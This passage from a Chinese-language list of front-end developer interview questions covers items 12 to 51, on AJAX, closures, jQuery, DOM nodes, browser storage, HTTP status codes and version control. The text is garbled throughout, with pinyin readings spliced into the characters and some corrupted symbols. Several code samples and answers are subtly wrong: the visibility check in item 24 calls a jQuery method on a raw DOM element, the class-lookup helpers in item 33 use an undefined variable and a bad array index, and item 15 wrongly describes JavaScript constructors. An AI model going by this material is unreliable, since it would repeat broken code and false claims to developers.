          12 簡(jiǎn)述ajax執(zhí)行流程

          基本步驟:
          var xhr =null;//創(chuàng)建對(duì)象 
          if(window.XMLHttpRequest){
                 xhr = new XMLHttpRequest();
          }else{
                 xhr = new ActiveXObject("Microsoft.XMLHTTP");
          }
          xhr.open(“方式”,”地址”,”標(biāo)志位”);//初始化請(qǐng)求 
             xhr.setRequestHeader(“”,””);//設(shè)置http頭信息 
          xhr.onreadystatechange =function(){}//指定回調(diào)函數(shù) 
          xhr.send();//發(fā)送請(qǐng)求 

          13.自執(zhí)行函數(shù)?用于什么場(chǎng)景?好處?

          自執(zhí)行函數(shù):1、聲明一個(gè)匿名函數(shù)2、馬上調(diào)用這個(gè)匿名函數(shù)。
          作用:創(chuàng)建一個(gè)獨(dú)立的作用域。
          好處:防止變量彌散到全局,以免各種js庫(kù)沖突。隔離作用域避免污染,或者截?cái)嘧饔糜蜴湥苊忾]包造成引用變量無(wú)法釋放。利用立即執(zhí)行特性,返回需要的業(yè)務(wù)函數(shù)或?qū)ο螅苊饷看瓮ㄟ^(guò)條件判斷來(lái)處理
          場(chǎng)景:一般用于框架、插件等場(chǎng)景


          14.html和xhtml有什么區(qū)別?

          HTML是一種基本的WEB網(wǎng)頁(yè)設(shè)計(jì)語(yǔ)言,XHTML是一個(gè)基于XML的標(biāo)記語(yǔ)言。
          1.XHTML 元素必須被正確地嵌套。
          2.XHTML 元素必須被關(guān)閉。
          3.標(biāo)簽名必須用小寫(xiě)字母。
          4.空標(biāo)簽也必須被關(guān)閉。
          5.XHTML 文檔必須擁有根元素。


          15. 什么是構(gòu)造函數(shù)?與普通函數(shù)有什么區(qū)別?

          構(gòu)造函數(shù):是一種特殊的方法、主要用來(lái)創(chuàng)建對(duì)象時(shí)初始化對(duì)象,總與new運(yùn)算符一起使用,創(chuàng)建對(duì)象的語(yǔ)句中構(gòu)造函數(shù)的函數(shù)名必須與類(lèi)名完全相同。
          與普通函數(shù)相比只能由new關(guān)鍵字調(diào)用,構(gòu)造函數(shù)是類(lèi)的標(biāo)示


          16. 通過(guò)new創(chuàng)建一個(gè)對(duì)象的時(shí)候,函數(shù)內(nèi)部有哪些改變

          function Person(){}
          Person.prototype.friend = [];
          Person.prototype.name = '';
          // var a = new Person();
          // a.friend[0] = '王琦';
          // a.name = '程嬌';
          // var b = new Person();
          // b.friend?
          // b.name?
          

          1、創(chuàng)建一個(gè)空對(duì)象,并且 this 變量引用該對(duì)象,同時(shí)還繼承了該函數(shù)的原型。
          2、屬性和方法被加入到 this 引用的對(duì)象中。
          3、新創(chuàng)建的對(duì)象由 this 所引用,并且最后隱式的返回 this 。


          17.事件委托?有什么好處?

          (1)利用冒泡的原理,把事件加到父級(jí)上,觸發(fā)執(zhí)行效果
          (2)好處:新添加的元素還會(huì)有之前的事件;提高性能。


          18.window.onload ==? DOMContentLoaded ?

          一般情況下,DOMContentLoaded事件要在window.onload之前執(zhí)行,當(dāng)DOM樹(shù)構(gòu)建完成的時(shí)候就會(huì)執(zhí)行DOMContentLoaded事件,而window.onload是在頁(yè)面載入完成的時(shí)候,才執(zhí)行,這其中包括圖片等元素。大多數(shù)時(shí)候我們只是想在DOM樹(shù)構(gòu)建完成后,綁定事件到元素,我們并不需要圖片元素,加上有時(shí)候加載外域圖片的速度非常緩慢。


          19.節(jié)點(diǎn)類(lèi)型?判斷當(dāng)前節(jié)點(diǎn)類(lèi)型?

          1. 元素節(jié)點(diǎn)
          2. 屬性節(jié)點(diǎn)
          3. 文本節(jié)點(diǎn)
          8. 注釋節(jié)點(diǎn)
          9. 文檔節(jié)點(diǎn)
          通過(guò)nodeObject.nodeType判斷節(jié)點(diǎn)類(lèi)型:其中,nodeObject 為DOM節(jié)點(diǎn)(節(jié)點(diǎn)對(duì)象)。該屬性返回以數(shù)字表示的節(jié)點(diǎn)類(lèi)型,例如,元素節(jié)點(diǎn)返回 1,屬性節(jié)點(diǎn)返回 2 。


          20.如何合并兩個(gè)數(shù)組?數(shù)組刪除一個(gè)元素?

          //三種方法。
           (1)var arr1=[1,2,3];
                         var arr2=[4,5,6];
                         arr1 = arr1.concat(arr2);
                         console.log(arr1); 
           (2)var arr1=[1,2,3];
                         var arr2=[4,5,6];
                         Array.prototype.push.apply(arr1,arr2);
                         console.log(arr1);
           (3)var arr1=[1,2,3];
                         var arr2=[4,5,6];
                         for (var i=0; i < arr2.length; i++) {
                             arr1.push( arr2[i] );
                         }
                         console.log(arr1);   
          


          21.強(qiáng)制轉(zhuǎn)換 顯式轉(zhuǎn)換 隱式轉(zhuǎn)換?

          //強(qiáng)制類(lèi)型轉(zhuǎn)換:
          Boolean(0)                // => false - 零
                     Boolean(new object())   // => true - 對(duì)象
                         Number(undefined)       // =>   NaN
                         Number(null)              // => 0
                         String(null)              // => "null"
          parseInt( )
          parseFloat( )
          JSON.parse( )
          JSON.stringify ( )
          

          隱式類(lèi)型轉(zhuǎn)換:
          在使用算術(shù)運(yùn)算符時(shí),運(yùn)算符兩邊的數(shù)據(jù)類(lèi)型可以是任意的,比如,一個(gè)字符串可以和數(shù)字相加。之所以不同的數(shù)據(jù)類(lèi)型之間可以做運(yùn)算,是因?yàn)镴avaScript引擎在運(yùn)算之前會(huì)悄悄的把他們進(jìn)行了隱式類(lèi)型轉(zhuǎn)換的
          (例如:x+"" //等價(jià)于String(x)
          +x //等價(jià)于Number(x)
          x-0 //同上
          !!x //等價(jià)于Boolean(x),是雙嘆號(hào))
          顯式轉(zhuǎn)換:
          如果程序要求一定要將某一類(lèi)型的數(shù)據(jù)轉(zhuǎn)換為另一種類(lèi)型,則可以利用強(qiáng)制類(lèi)型轉(zhuǎn)換運(yùn)算符進(jìn)行轉(zhuǎn)換,這種強(qiáng)制轉(zhuǎn)換過(guò)程稱(chēng)為顯示轉(zhuǎn)換。
          顯示轉(zhuǎn)換是你定義讓這個(gè)值類(lèi)型轉(zhuǎn)換成你要用的值類(lèi)型,是底到高的轉(zhuǎn)換。例 int 到float就可以直接轉(zhuǎn),int i=5,想把他轉(zhuǎn)換成char類(lèi)型,就用顯式轉(zhuǎn)換(char)i


          22. Jq中如何實(shí)現(xiàn)多庫(kù)并存?

          Noconfict 多庫(kù)共存就是“$ ”符號(hào)的沖突。
          方法一: 利用jQuery的實(shí)用函數(shù)$.noConflict();這個(gè)函數(shù)歸還$的名稱(chēng)控制權(quán)給另一個(gè)庫(kù),因此可以在頁(yè)面上使用其他庫(kù)。這時(shí),我們可以用"jQuery "這個(gè)名稱(chēng)調(diào)用jQuery的功能。 $.noConflict();
          jQuery('#id').hide();
          .....
          //或者給jQuery一個(gè)別名
          var $j=jQuery
          $j('#id').hide();
          .....
          方法二: (function($){})(jQuery)
          方法三: jQuery(function($){})
          通過(guò)傳遞一個(gè)函數(shù)作為jQuery的參數(shù),因此把這個(gè)函數(shù)聲明為就緒函數(shù)。 我們聲明$為就緒函數(shù)的參數(shù),因?yàn)閖Query總是吧jQuery對(duì)象的引用作為第一個(gè)參數(shù)傳遞,所以就保證了函數(shù)的執(zhí)行。


          23.Jq中g(shù)et和eq有什么區(qū)別?

          get() :取得其中一個(gè)匹配的元素。num表示取得第幾個(gè)匹配的元素,get多針對(duì)集合元素,返回的是DOM對(duì)象組成的數(shù)組 eq():獲取第N個(gè)元素,下標(biāo)都是從0開(kāi)始,返回的是一個(gè)JQuery對(duì)象


          24.如何通過(guò)原生js 判斷一個(gè)元素當(dāng)前是顯示還是隱藏狀態(tài)?

          if( document.getElementById("div").css("display")==='none')
          if( document.getElementById("div").css("display")==='block')
          $("#div").is(":hidden"); // 判斷是否隱藏
          $("#div").is(":visible")
          


          25.Jq如何判斷元素顯示隱藏?

          //第一種:使用CSS屬性 
          var display =$('#id').css('display'); 
          if(display == 'none'){    alert("我是隱藏的!"); }
          //第二種:使用jquery內(nèi)置選擇器 
          <div id="test"> <p>僅僅是測(cè)試所用</p> </div>
          if($("#test").is(":hidden")){        $("#test").show();    //如果元素為隱藏,則將它顯現(xiàn) }else{       $("#test").hide();     //如果元素為顯現(xiàn),則將其隱藏 }
          //第三種:jQuery判斷元素是否顯示 是否隱藏
          var node=$('#id');
          if(node.is(':hidden')){  //如果node是隱藏的則顯示node元素,否則隱藏
            node.show(); 
          }else{
            node.hide();
          }
          


          26.移動(dòng)端上什么是點(diǎn)擊穿透?

          點(diǎn)擊穿透現(xiàn)象有3種:
          點(diǎn)擊穿透問(wèn)題:點(diǎn)擊蒙層(mask)上的關(guān)閉按鈕,蒙層消失后發(fā)現(xiàn)觸發(fā)了按鈕下面元素的click事件跨頁(yè)面點(diǎn)擊穿透問(wèn)題:如果按鈕下面恰好是一個(gè)有href屬性的a標(biāo)簽,那么頁(yè)面就會(huì)發(fā)生跳轉(zhuǎn)另一種跨頁(yè)面點(diǎn)擊穿透問(wèn)題:這次沒(méi)有mask了,直接點(diǎn)擊頁(yè)內(nèi)按鈕跳轉(zhuǎn)至新頁(yè),然后發(fā)現(xiàn)新頁(yè)面中對(duì)應(yīng)位置元素的click事件被觸發(fā)了
          解決方案:
          1、只用touch
          最簡(jiǎn)單的解決方案,完美解決點(diǎn)擊穿透問(wèn)題
          把頁(yè)面內(nèi)所有click全部換成touch事件( touchstart 、’touchend’、’tap’)
          2、只用click
          下下策,因?yàn)闀?huì)帶來(lái)300ms延遲,頁(yè)面內(nèi)任何一個(gè)自定義交互都將增加300毫秒延遲
          3、tap后延遲350ms再隱藏mask
          改動(dòng)最小,缺點(diǎn)是隱藏mask變慢了,350ms還是能感覺(jué)到慢的
          4、pointer-events
          比較麻煩且有缺陷, 不建議使用mask隱藏后,給按鈕下面元素添上 pointer-events: none; 樣式,讓click穿過(guò)去,350ms后去掉這個(gè)樣式,恢復(fù)響應(yīng)缺陷是mask消失后的的350ms內(nèi),用戶(hù)可以看到按鈕下面的元素點(diǎn)著沒(méi)反應(yīng),如果用戶(hù)手速很快的話(huà)一定會(huì)發(fā)現(xiàn)


          27.Jq綁定事件的幾種方式?on bind ?

          jQuery中提供了四種事件監(jiān)聽(tīng)方式,分別是bind、live、delegate、on,對(duì)應(yīng)的解除監(jiān)聽(tīng)的函數(shù)分別是unbind、die、undelegate、off
          Bind( )是使用頻率較高的一種,作用就是在選擇到的元素上綁定特定事件類(lèi)型的監(jiān)聽(tīng)函數(shù);
          Live( )可以對(duì)后生成的元素也可以綁定相應(yīng)的事件,處理機(jī)制就是把事件綁定在DOM樹(shù)的根節(jié)點(diǎn)上,而不是直接綁定在某個(gè)元素上;
          Delegate( )采用了事件委托的概念,不是直接為子元素綁定事件,而是為其父元素(或祖先元素也可)綁定事件,當(dāng)在div內(nèi)任意元素上點(diǎn)擊時(shí),事件會(huì)一層層從event target向上冒泡,直至到達(dá)你為其綁定事件的元素;
          on( )方法可以綁定動(dòng)態(tài)添加到頁(yè)面元素的事件,on()方法綁定事件可以提升效率;


          28.Jq中如何將一個(gè)jq對(duì)象轉(zhuǎn)化為dom對(duì)象?

          方法一:
          jQuery對(duì)象是一個(gè)數(shù)據(jù)對(duì)象,可以通過(guò)[index]的方法,來(lái)得到相應(yīng)的DOM對(duì)象。
          如:var $v =$("#v") ; //jQuery對(duì)象
          var v=$v[0]; //DOM對(duì)象
          alert(v.checked) //檢測(cè)這個(gè)checkbox是否被選中
          方法二:
          jQuery本身提供,通過(guò).get(index)方法,得到相應(yīng)的DOM對(duì)象
          如:var $v=$("#v"); //jQuery對(duì)象
          var v=$v.get(0); //DOM對(duì)象
          alert(v.checked) //檢測(cè)這個(gè)checkbox是否被選中


          29.Jq中有幾種選擇器?分別是什么?

          層疊選擇器、基本過(guò)濾選擇器、內(nèi)容過(guò)濾選擇器、可視化過(guò)濾選擇器、屬性過(guò)濾選擇器、子元素過(guò)濾選擇器、表單元素選擇器、表單元素過(guò)濾選擇器


          30.Jq中怎么樣編寫(xiě)插件?

          //第一種是類(lèi)級(jí)別的插件開(kāi)發(fā):
          //1.1 添加一個(gè)新的全局函數(shù) 添加一個(gè)全局函數(shù),我們只需如下定義: 
          jQuery.foo = function() {
               alert('This is a test. This is only a test.');  };   
          
          //1.2 增加多個(gè)全局函數(shù) 添加多個(gè)全局函數(shù),可采用如下定義: 
          jQuery.foo = function() {
                 alert('This is a test. This is only a test.');  };  
          jQuery.bar = function(param) {
                alert('This function takes a parameter, which is "' + param + '".');  };   調(diào)用時(shí)和一個(gè)函數(shù)的一樣的:jQuery.foo();jQuery.bar();或者$.foo();$.bar('bar');
          //1.3 使用jQuery.extend(object);  
          jQuery.extend({
                foo: function() {
                    alert('This is a test. This is only a test.');
                  },
                bar: function(param) {
                    alert('This function takes a parameter, which is "' + param +'".');
                  }
               }); 
          //1.4 使用命名空間
          // 雖然在jQuery命名空間中,我們禁止使用了大量的javaScript函數(shù)名和變量名。
          // 但是仍然不可避免某些函數(shù)或變量名將于其他jQuery插件沖突,因此我們習(xí)慣將一些方法
          // 封裝到另一個(gè)自定義的命名空間。
          jQuery.myPlugin = {         
          foo:function() {         
            alert('This is a test. This is only a test.');         
           },         
           bar:function(param) {         
            alert('This function takes a parameter, which is "' + param + '".');   
           }        
          }; 
          //采用命名空間的函數(shù)仍然是全局函數(shù),調(diào)用時(shí)采用的方法: 
          $.myPlugin.foo();        
          $.myPlugin.bar('baz');
          //通過(guò)這個(gè)技巧(使用獨(dú)立的插件名),我們可以避免命名空間內(nèi)函數(shù)的沖突。
          
          //第二種是對(duì)象級(jí)別的插件開(kāi)發(fā)
          //形式1: 
          (function($){    
            $.fn.extend({    
             pluginName:function(opt,callback){    
                       // Our plugin implementation code goes here.      
             }    
            })    
          })(jQuery);  
          
          //形式2:
          (function($) {      
             $.fn.pluginName = function() {    
                  // Our plugin implementation code goes here.    
             };     
          })(jQuery);
          //形參是$,函數(shù)定義完成之后,把jQuery這個(gè)實(shí)參傳遞進(jìn)去.立即調(diào)用執(zhí)行。
          //這樣的好處是,我們?cè)趯?xiě)jQuery插件時(shí),也可以使用$這個(gè)別名,而不會(huì)與prototype引起沖突
          


          31.$('div+.ab')和$('.ab+div') 哪個(gè)效率高?

          $('div+.ab')效率高


          32.$.map和$.each有什么區(qū)別

          map()方法主要用來(lái)遍歷操作數(shù)組和對(duì)象,會(huì)返回一個(gè)新的數(shù)組。$.map()方法適用于將數(shù)組或?qū)ο竺總€(gè)項(xiàng)目新陣列映射到一個(gè)新數(shù)組的函數(shù);
          each()主要用于遍歷jquery對(duì)象,返回的是原來(lái)的數(shù)組,并不會(huì)新創(chuàng)建一個(gè)數(shù)組。


          33.編寫(xiě)一個(gè) getElementsByClassName 封裝函數(shù)?

          <body>   
          <input type="submit" id = "sub" class="ss confirm btn" value="提交"/>   
          <script> window.onload = function(){ 
          //方法一         
              var Opt = document.getElementById('sub');
              var getClass = function(className,tagName){
                  if(document.getElementsByTagName){
                      var Inp = document.getElementsByTagName(tagName);
                      for(var i=0; i<Inp.length; i++){
                          if((new RegExp('(\\s|^)' +className +'(\\s|$)')).test(Inp[i].className)){
                                return Inp[i];
                              }
                          }
                      }else if(document.getElementsByClassName){
                          return document.getElementsByClassName(className);
                  }
              }                 
          //方法二
              var aa = getClass("confirm", "input");
                  function getClass(className, targetName){
                      var ele = [];
                      var all = document.getElementsByTagName(targetName || "*");
                      for(var i=0; i<all.length; i++){
                          if(all[i].className.match(new RegExp('(\\s|^)'+confirm+'(\\s|$)'))){    
                              ele[ele.length] = all[i];
                          }
                      }
                      return ele;
                  }
          //方法三
              function getObjsByClass(tagName, className){
                     if(document.getElementsByClassName){
                         alert("document.getElementsByClassName");
                         return document.getElementsByClassName(className);
                     }else{
                         var el = [];
                         var _el = document.getElementsByTagName(tagName);
                         for(var i=0; i<_el.length; i++){
                             if(_el[i].className.indexOf(className) > -1){
                                 alert(_el[i]);
                                 el[_el.length] = _el[i];
                             }
                         }
                         alert(el);
                         return el;
                     }
                 }
             }
           </script>
          </body>
          


          34.簡(jiǎn)述下工作流程

          我在之前的公司工作流程大概是這樣的:公司定稿會(huì)結(jié)束以后,會(huì)進(jìn)行簡(jiǎn)單的技術(shù)研討,然后我們前端會(huì)進(jìn)行先期的技術(shù)準(zhǔn)備。前端切圖人員會(huì)進(jìn)行psd設(shè)計(jì)稿切圖,并且將css文件進(jìn)行整合。我們主要編寫(xiě)JS部分,其中包括搭建前端框架(大項(xiàng)目),編寫(xiě)js業(yè)務(wù)和數(shù)據(jù)持久化操作,我們也會(huì)編寫(xiě)js插件并且進(jìn)行封裝方便使用,還有就是編寫(xiě)JS前端組建和JS測(cè)試單元,最后將完成的JS部分與切圖人員提供的HTML頁(yè)面進(jìn)行整合。最后對(duì)完成的頁(yè)面進(jìn)行功能測(cè)試、頁(yè)面兼容、產(chǎn)品還原。然后對(duì)產(chǎn)品進(jìn)行封存,提交測(cè)試。如果出現(xiàn)BUG會(huì)返回給我們開(kāi)發(fā)人員進(jìn)行修改,再提交測(cè)試,最后測(cè)試成功,進(jìn)行版本封存。等到程序全部上線(xiàn)的時(shí)候進(jìn)行線(xiàn)上測(cè)試。


          35.一般使用什么版本控制工具?svn如何對(duì)文件加鎖

          svn加鎖目的:為了避免多個(gè)人同一時(shí)間對(duì)同一個(gè)文件改動(dòng)的相互覆蓋,版本控制系統(tǒng)就必須有一套沖突處理機(jī)制。
          svn加鎖兩種策略:樂(lè)觀(guān)加鎖:所有簽出的文件都是可讀寫(xiě)的,對(duì)文件的修改不必獲得文件的鎖,當(dāng)你修改完文件簽入時(shí),會(huì)首先要求你更新本地文件,版本控制系統(tǒng)不會(huì)覆蓋你的本地修改,而是會(huì)讓你自己合并沖突后簽入。
          嚴(yán)格加鎖:所有簽出的文件都是只讀的,任何對(duì)文件的修改必須要獲得文件的鎖,如果其他人沒(méi)有擁有該文件的鎖,那么版本控制系統(tǒng)就會(huì)授權(quán)給你文件的鎖,并將文件設(shè)置為可編輯的。
          svn兩種加鎖步驟:樂(lè)觀(guān)加鎖:選擇你想要獲取鎖定的文件,然后右鍵菜單點(diǎn)擊TortoiseSVN 選取獲取鎖定。
          嚴(yán)格加鎖:在想要采取嚴(yán)格加鎖的文件或目錄上點(diǎn)擊右鍵,使用TortoiseSVN 屬性菜單,點(diǎn)擊新建屬性,選擇需要鎖定。


          36. git 和 svn的區(qū)別?

          SVN是集中式版本控制系統(tǒng),版本庫(kù)是集中放在中央服務(wù)器的,而干活的時(shí)候,用的都是自己的電腦,所以首先要從中央服務(wù)器哪里得到最新的版本,然后干活,干完后,需要把自己做完的活推送到中央服務(wù)器。集中式版本控制系統(tǒng)是必須聯(lián)網(wǎng)才能工作,如果在局域網(wǎng)還可以,帶寬夠大,速度夠快,如果在互聯(lián)網(wǎng)下,如果網(wǎng)速慢的話(huà),就納悶了。
          Git是分布式版本控制系統(tǒng),那么它就沒(méi)有中央服務(wù)器的,每個(gè)人的電腦就是一個(gè)完整的版本庫(kù),這樣,工作的時(shí)候就不需要聯(lián)網(wǎng)了,因?yàn)榘姹径际窃谧约旱碾娔X上。既然每個(gè)人的電腦都有一個(gè)完整的版本庫(kù),那多個(gè)人如何協(xié)作呢?比如說(shuō)自己在電腦上改了文件A,其他人也在電腦上改了文件A,這時(shí),你們兩之間只需把各自的修改推送給對(duì)方,就可以互相看到對(duì)方的修改了。


          37. jquery和zepto有什么區(qū)別?

          1.針對(duì)移動(dòng)端程序,Zepto有一些基本的觸摸事件可以用來(lái)做觸摸屏交互(tap事件、swipe事件),Zepto是不支持IE瀏覽器的,這不是Zepto的開(kāi)發(fā)者Thomas Fucks在跨瀏覽器問(wèn)題上犯了迷糊,而是經(jīng)過(guò)了認(rèn)真考慮后為了降低文件尺寸而做出的決定,就像jQuery的團(tuán)隊(duì)在2.0版中不再支持舊版的IE(6 7 8)一樣。因?yàn)閆epto使用jQuery句法,所以它在文檔中建議把jQuery作為IE上的后備庫(kù)。那樣程序仍能在IE中,而其他瀏覽器則能享受到Zepto在文件大小上的優(yōu)勢(shì),然而它們兩個(gè)的API不是完全兼容的,所以使用這種方法時(shí)一定要小心,并要做充分的測(cè)試。
          2.Dom操作的區(qū)別:添加id時(shí)jQuery不會(huì)生效而Zepto會(huì)生效。
          3.zepto主要用在移動(dòng)設(shè)備上,只支持較新的瀏覽器,好處是代碼量比較小,性能也較好。
          jquery主要是兼容性好,可以跑在各種pc,移動(dòng)上,好處是兼容各種瀏覽器,缺點(diǎn)是代碼量大,同時(shí)考慮兼容,性能也不夠好。


          38. $(function(){})和window.onload 和 $(document).ready(function(){})

          window.onload:用于當(dāng)頁(yè)面的所有元素,包括外部引用文件,圖片等都加載完畢時(shí)運(yùn)行函數(shù)內(nèi)的函數(shù)。load方法只能執(zhí)行一次,如果在js文件里寫(xiě)了多個(gè),只能執(zhí)行最后一個(gè)。
          $(document).ready(function(){})和$(function(){})都是用于當(dāng)頁(yè)面的標(biāo)準(zhǔn)DOM元素被解析成DOM樹(shù)后就執(zhí)行內(nèi)部函數(shù)。這個(gè)函數(shù)是可以在js文件里多次編寫(xiě)的,對(duì)于多人共同編寫(xiě)的js就有很大的優(yōu)勢(shì),因?yàn)樗行袨楹瘮?shù)都會(huì)執(zhí)行到。而且$(document).ready()函數(shù)在HMTL結(jié)構(gòu)加載完后就可以執(zhí)行,不需要等大型文件加載或者不存在的連接等耗時(shí)工作完成才執(zhí)行,效率高。


          39. Jq中 attr 和 prop 有什么區(qū)別

          對(duì)于HTML元素本身就帶有的固有屬性,在處理時(shí),使用prop方法。
          對(duì)于HTML元素我們自己自定義的DOM屬性,在處理時(shí),使用attr方法。


          40. 簡(jiǎn)述下 this 和定義屬性和方法的時(shí)候有什么區(qū)別?Prototype?

          this表示當(dāng)前對(duì)象,如果在全局作用范圍內(nèi)使用this,則指代當(dāng)前頁(yè)面對(duì)象window; 如果在函數(shù)中使用this,則this指代什么是根據(jù)運(yùn)行時(shí)此函數(shù)在什么對(duì)象上被調(diào)用。 我們還可以使用apply和call兩個(gè)全局方法來(lái)改變函數(shù)中this的具體指向。
          prototype本質(zhì)上還是一個(gè)JavaScript對(duì)象。 并且每個(gè)函數(shù)都有一個(gè)默認(rèn)的prototype屬性。
          在prototype上定義的屬性方法為所有實(shí)例共享,所有實(shí)例皆引用到同一個(gè)對(duì)象,單一實(shí)例對(duì)原型上的屬性進(jìn)行修改,也會(huì)影響到所有其他實(shí)例。


          41. 什么是預(yù)編譯語(yǔ)音|預(yù)編譯處理器?

          Sass是一種CSS預(yù)處理器語(yǔ)言,通過(guò)編程方式生成CSS代碼。因?yàn)榭删幊蹋圆倏仂`活性自由度高,方便實(shí)現(xiàn)一些直接編寫(xiě)CSS代碼較困難的代碼。
          同時(shí),因?yàn)镾ass是生成CSS的語(yǔ)言,所以寫(xiě)出來(lái)的Sass文件是不能直接用的,必須經(jīng)過(guò)編譯器編譯成CSS文件才能使用。
          CSS 預(yù)處理器是一種語(yǔ)言用來(lái)為 CSS 增加一些編程的的特性,無(wú)需考慮瀏覽器的兼容性問(wèn)題,例如你可以在 CSS 中使用變量、簡(jiǎn)單的程序邏輯、函數(shù)等等在編程語(yǔ)言中的一些基本技巧,可以讓你的 CSS 更見(jiàn)簡(jiǎn)潔,適應(yīng)性更強(qiáng),代碼更直觀(guān)等諸多好處。最常用的css預(yù)處理器有sass、less css、 stylus。


          42.ajax 和 jsonp ?

          ajax和jsonp的區(qū)別:
          相同點(diǎn):都是請(qǐng)求一個(gè)url
          不同點(diǎn):ajax的核心是通過(guò)xmlHttpRequest獲取內(nèi)容
          jsonp的核心則是動(dòng)態(tài)添加<script>標(biāo)簽來(lái)調(diào)用服務(wù)器 提供的js腳本。


          43.ajax執(zhí)行流程?

          1. 創(chuàng)建XMLHttpRequest對(duì)象,也就是創(chuàng)建一個(gè)異步調(diào)用對(duì)象
          2. 創(chuàng)建一個(gè)新的HTTP請(qǐng)求,并指定該HTTP請(qǐng)求的方法、URL及驗(yàn)證信息
          3. 設(shè)置響應(yīng)HTTP請(qǐng)求狀態(tài)變化的函數(shù)
          4. 發(fā)送HTTP請(qǐng)求
          5. 獲取異步調(diào)用返回的數(shù)據(jù)
          6. 使用JavaScript和DOM實(shí)現(xiàn)局部刷新


          44.xhr對(duì)象 status ? readystate?

          status是XMLHttpRequest對(duì)象的一個(gè)屬性,表示響應(yīng)的HTTP狀態(tài)碼。
          readyState是XMLHttpRequest對(duì)象的一個(gè)屬性,用來(lái)標(biāo)識(shí)當(dāng)前XMLHttpRequest對(duì)象處于什么狀態(tài)。


          45.readystate 0~4

          0:未初始化狀態(tài):此時(shí),已經(jīng)創(chuàng)建了一個(gè)XMLHttpRequest對(duì)象
          1: 準(zhǔn)備發(fā)送狀態(tài):此時(shí),已經(jīng)調(diào)用了XMLHttpRequest對(duì)象的open方法,并且XMLHttpRequest對(duì)象已經(jīng)準(zhǔn)備好將一個(gè)請(qǐng)求發(fā)送到服務(wù)器端
          2:已經(jīng)發(fā)送狀態(tài):此時(shí),已經(jīng)通過(guò)send方法把一個(gè)請(qǐng)求發(fā)送到服務(wù)器端,但是還沒(méi)有收到一個(gè)響應(yīng)
          3:正在接收狀態(tài):此時(shí),已經(jīng)接收到HTTP響應(yīng)頭部信息,但是消息體部分還沒(méi)有完全接收到
          4:完成響應(yīng)狀態(tài):此時(shí),已經(jīng)完成了HTTP響應(yīng)的接收


          46.說(shuō)出幾個(gè)http協(xié)議狀態(tài)碼?

          200, 201, 302, 304, 400, 404, 500
          200:請(qǐng)求成功
          201:請(qǐng)求成功并且服務(wù)器創(chuàng)建了新的資源
          302:服務(wù)器目前從不同位置的網(wǎng)頁(yè)響應(yīng)請(qǐng)求,但請(qǐng)求者應(yīng)繼續(xù)使用原有位置來(lái)響應(yīng)以后的請(qǐng)求。
          304:自從上次請(qǐng)求后,請(qǐng)求的網(wǎng)頁(yè)未修改過(guò)。服務(wù)器返回此響應(yīng)時(shí),不會(huì)返回網(wǎng)頁(yè)內(nèi)容。
          400:服務(wù)器不理解請(qǐng)求的語(yǔ)法。
          404:請(qǐng)求的資源(網(wǎng)頁(yè)等)不存在
          500: 內(nèi)部服務(wù)器錯(cuò)誤


          47.上一個(gè)項(xiàng)目是什么?主要負(fù)責(zé)哪些?購(gòu)物車(chē)流程?支付功能?

          主要負(fù)責(zé)哪些就講主要做哪些功能模塊:
          1)商品模塊:
          1、商品列表:商品排序 商品篩選 商品過(guò)濾 商品查詢(xún) 商品推薦
          2、商品詳情:類(lèi)型推薦 商品簡(jiǎn)介 商品詳情 商品評(píng)價(jià) 售后維護(hù)
          2)購(gòu)物車(chē)模塊:商品編號(hào)、數(shù)量、價(jià)格、總額、運(yùn)費(fèi)、運(yùn)輸選項(xiàng)、運(yùn)費(fèi)總計(jì)、從購(gòu)物車(chē)刪除選項(xiàng)、更新數(shù)量、結(jié)賬、繼續(xù)購(gòu)物、商品描述、庫(kù)存信息


          48.sessionStorage和localstroage與cookie之間有什么關(guān)聯(lián), cookie最大存放多少字節(jié)

          三者共同點(diǎn):都是保存在瀏覽器端,且同源的。
          區(qū)別:
          1、cookie在瀏覽器和服務(wù)器間來(lái)回傳遞。而sessionStorage和localStorage不會(huì)自動(dòng)把數(shù)據(jù)發(fā)給服務(wù)器,僅在本地保存
          2、存儲(chǔ)大小限制也不同,cookie數(shù)據(jù)不能超過(guò)4k,sessionStorage和localStorage 但比cookie大得多,可以達(dá)到5M
          3、數(shù)據(jù)有效期不同,sessionStorage:僅在當(dāng)前瀏覽器窗口關(guān)閉前有效,自然也就不可能持久保持;localStorage:始終有效,窗口或?yàn)g覽器關(guān)閉也一直保存,因此用作持久數(shù)據(jù);cookie只在設(shè)置的cookie過(guò)期時(shí)間之前一直有效,即使窗口或?yàn)g覽器關(guān)閉
          4、作用域不同,sessionStorage不在不同的瀏覽器窗口中共享,即使是同一個(gè)頁(yè)面(即數(shù)據(jù)不共享);localStorage 在所有同源窗口中都是共享的;cookie也是在所有同源窗口中都是共享的( 即數(shù)據(jù)共享 )。


          49.ajax中 get 和 post 有什么區(qū)別?

          get和post都是數(shù)據(jù)提交的方式。
          get的數(shù)據(jù)是通過(guò)網(wǎng)址問(wèn)號(hào)后邊拼接的字符串進(jìn)行傳遞的。post是通過(guò)一個(gè)HTTP包體進(jìn)行傳遞數(shù)據(jù)的。
          get的傳輸量是有限制的,post是沒(méi)有限制的。
          get的安全性可能沒(méi)有post高,所以我們一般用get來(lái)獲取數(shù)據(jù),post一般用來(lái)修改數(shù)據(jù)。


          50.Gc機(jī)制是什么?為什么閉包不會(huì)被回收變量和函數(shù)?

          1、Gc垃圾回收機(jī)制;
          2、外部變量沒(méi)釋放,所以指向的大函數(shù)內(nèi)的小函數(shù)也釋放不了


          51.簡(jiǎn)述下你理解的面向?qū)ο螅?/strong>

          萬(wàn)物皆對(duì)象,把一個(gè)對(duì)象抽象成類(lèi),具體上就是把一個(gè)對(duì)象的靜態(tài)特征和動(dòng)態(tài)特征抽象成屬性和方法,也就是把一類(lèi)事物的算法和數(shù)據(jù)結(jié)構(gòu)封裝在一個(gè)類(lèi)之中,程序就是多個(gè)對(duì)象和互相之間的通信組成的.
          面向?qū)ο缶哂蟹庋b性,繼承性,多態(tài)性。
